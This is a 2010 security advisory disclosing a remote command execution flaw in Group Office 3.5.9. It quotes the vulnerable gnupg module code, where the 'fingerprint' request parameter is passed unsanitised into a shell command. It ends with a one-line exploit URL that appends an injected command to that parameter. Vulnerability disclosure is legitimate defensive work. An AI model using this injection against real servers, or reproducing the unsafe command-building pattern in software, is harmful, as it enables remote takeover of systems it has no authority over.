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Group Office 3.5.9 Remote Command Execution

Group Office 3.5.9 Remote Command Execution
Posted Jul 17, 2010
Authored by ADEO Security

Group Office version 3.5.9 suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | d395780e5580c0301934155e011a6e18ec6447417232cef5adc8718a94ff5e55

Group Office 3.5.9 Remote Command Execution

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# Title
Group Office Remote Command Execution Vulnerability

# Author
ADEO Security

# Published
16/07/2010

# Version
3.5.9 (Possible all versions)

# Vendor
http://www.group-office.com

# Download
http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download

# Description
"Take your office online with Group-Office groupware. Share projects,
calendars, files and e-mail online with co-workers and clients. Easy
to use and fully customizable, Group-Office takes online collaboration
to the next level."

# Credit
Vulnerability founded by Canberk BOLAT
- Mail: security[AT]adeo.com.tr
- Web: http://security.adeo.com.tr , http://adeosecuritylabs.com

# Vulnerability
Remote attacker can execute commands on the system that host target
web application. Its high level vulnerability. Attacker needs gnupg
module that installed.

modules/gnupg/json.php:
$data = $gnupg->export($_REQUEST['fingerprint']);


In json.php export method called with HTTP Request that's name
fingerprint. In the export method, variable $fingerprint passed to
run_cmd method.

modules/gnupg/classes/gnupg.class.inc.php:
public function export($fingerprint)
{
$this->run_cmd('--armor --export '.$fingerprint, $key);
...
private function run_cmd($cmd, &$output=null, &$errorcode=null,
$data=null, $passphrase=null, $background=false)
{
...
$complete_cmd .= ' '.$cmd;
...
$p = proc_open($complete_cmd,$this->fd, $this->pipes);
...

'complete_cmd' variable executed by application and if attacker
manipulate request 'fingerprint' application executes attackers
malicious codes.


# Exploitation
http://server/groupoffice/modules/gnupg/json.php?task=send_key&fingerprint=xyz;COMMAND

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